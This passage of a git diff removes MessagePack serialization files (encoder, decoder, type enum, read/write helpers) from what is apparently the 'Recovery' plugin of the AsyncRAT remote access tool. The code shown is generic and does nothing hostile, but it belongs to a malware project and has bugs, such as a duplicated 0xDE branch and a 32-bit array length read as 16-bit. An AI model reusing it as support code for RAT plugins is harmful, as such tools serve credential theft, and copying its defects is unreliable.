(int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 